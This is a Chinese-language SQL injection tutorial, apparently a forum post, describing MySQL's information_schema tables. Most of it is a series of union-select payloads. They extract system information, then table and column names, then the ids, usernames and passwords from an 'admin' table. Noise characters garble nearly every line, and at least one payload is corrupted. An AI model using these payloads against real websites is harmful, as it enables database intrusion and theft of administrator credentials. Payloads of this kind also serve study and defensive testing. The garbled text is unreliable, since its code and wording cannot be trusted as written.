本文介绍MYSQL盲注的一些语句和方法
+ O7 ?% K, ?2 \9 g {, x7 ?" }5 P- B' k- P, t @0 ^! p% C
学习盲注前先了解下 IFORMATION_SCHEMA 库8 o) ^3 V B, d
. A: _. r4 ?. B2 cMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
) x# C9 h' w* I& q7 J2 o' I3 Y存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。* s) _+ x Z4 ]$ B7 n6 V
1.得到所有数据库名:! r5 V1 [3 T" G
|SCHEMATA ->存储数据库名的表
! c3 o/ p1 R% y6 n|---字段:SCHEMA_NAME ->数据库名称
* U5 s& y5 d* h! A0 M; x9 s/ H3 s; W. ?0 Y p" t/ \% ?
|TABLES ->存储表名1 h: Q) h+ a& F( b
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名2 m V( G" E# N: O1 d
|---字段:TABLE_NAME ->存储表的表名! l* u R& v+ \. ~3 Z$ j
: }: N8 Q r0 G|COLUMNS ->存储的字段名表
0 @1 @7 ]. b, Q6 G8 G|---字段:TABLE_SCHEMA ->该字段所属数据库名
' l4 I. g: I! Z5 _' I/ O- p8 A|---字段:TABLE_NAME ->存储所属表的名称
' z( F% {; N! `. L& C5 a% e' o8 j: l8 F ~# J
|---字段:COLUMN_NAME ->该字段的名称0 O/ R4 i) X0 P- f4 g- W
# g# Y% ~- ]- v% l
& T& W; }! b% v" H4 W, j6 x
- P& T. M. ~* {0 h' f% v###########################################################################3 a3 k9 H# O f. W+ L( G& Q. p
* q& g. o) }) V1 @4 C0x001 获取系统信息:( b1 F0 G8 o" E+ t+ A1 L/ K; l
# E4 J) p: y% I2 W- }9 H
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
5 Z( w) P8 r( N
) ? W" R1 U% }$ M5 W4 a' I/*& e. h) q+ f) q0 f+ U7 @1 ?
3 v3 [2 L6 H) Y' v; }6 p' n
@@global.version_compile_os 获取系统版本* g) w, y8 u5 s+ Y: J$ I
* _% Q' t/ s+ z9 W! z0 G@@datadir 数据库路径) ^& \5 M3 R5 f, i% J$ V1 i/ }
database() 当前数据库名称
; Y' m" X) ^( y" \% \0x3c62723e 换行HEX值
& ]0 Z+ f5 W5 B( N5 s: w
$ F2 R* O5 e, z" l*/
; @) ]8 w4 l! e1 u
3 z% J5 @3 `; M7 p3 B
' g$ S" B9 `/ j' b; t
1 G- R0 \9 r B######################################################################5 V6 h2 E: A, M. X2 N5 ?5 `
3 V- Q! D+ M, |( v, X0x002 获取表名
4 |" n; M7 J% B- _( {5 U/ J" z5 Z4 j
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
- K5 d0 f. h6 W) t$ G! \3 b! n( B9 [9 `6 o( m2 A
& |4 D+ v7 ?4 d U# r7 e& L: `; J
3 P7 q. R/ b6 T' H5 U; q- J7 k3 o/*2 t5 ~* R- f7 l8 f& X) G# @
) m: l7 q/ e6 f4 C. {2 y
0x67617264656e 为当前数据库名. R- F* V( Y* S
, }, x f7 d2 ~" o5 L' ~group_concat(table_name) 使用group_concat函数 一步获得该库所有表名! f- C" Y' z: O6 e
( q: c) B; y- _ y# d5 M- L" [*/0 e; q1 h4 O2 y7 a P
: M0 R& Q+ G3 T$ R% O
######################################################################$ ]# X7 N: }$ _$ V9 y3 M/ \- M
7 D0 f& l0 E2 F7 F / g L2 R, t9 L8 Z1 z
$ A7 l e, c( ^! {+ m
0x003 获取字段% \' [& x y7 |. G8 ]+ L, H' S
9 ~) x3 ?: S& Qunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 e; |% P N G' k, Z0 r
9 G2 M& d- }$ K# w8 t( z+ y/*; t0 m- c/ S. F0 j
) R" g1 c& g; ~5 [' P) C3 ~2 y
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
( w& t% |7 d# e4 U8 i' I
5 W, {) ]( @8 p0 s$ s, w+ P* X0x61646d696e ->选择一个表" t) E% E$ M- p+ \ Y
( E. @% \! r/ p2 r. t0 t" _) z& D
0x67617264656e ->数据库名
7 N0 N: ~0 F K# p+ @' ?8 S' Q" c! G& S0 ~
*/4 o7 W2 V g6 r6 H
0 G; E+ B* K5 @( Q$ J6 I#####################################################################* _- Y3 y m& l7 c: s. o. B, D
5 k2 P1 k1 L* `+ _2 y. D9 A
2 s* L& @# f$ q( y* y5 c& \) ?/ \1 V0 w X- p) z8 z
0x004 获取数据
* N1 a( |# C+ J+ W& }: }& C) y, M$ Z. l
union select 1,2,3
# L* g/ r7 X$ i( W! y! u/ B9 Q2 @,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin: X8 n7 J; v ]0 J. w
" T) `3 y, m, d' h, u; I3 j; ?union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
! [% J9 e9 ]7 v
# t) G4 w. I) T' y* v
& h9 k' f/ Z1 [ `$ X
) |3 O5 @- r/ ]7 u" H/*; u5 d- \% M& ^: r3 P, c
& W' K3 C3 Z1 k0x3c62723e 换行符号HEX编码) Q( |# D" H0 ?/ Y& E' e
+ H* j, W& W2 D H% ~1 _
group_concat 同时获得该字段所有数据
" U$ C. u. ?/ r0 q$ w
$ T f$ X4 g, n% ^: w- l7 k*/
$ u5 H* H* ?; Q: Q5 T' ^
2 p$ L* E7 r) i, l$ T1 p |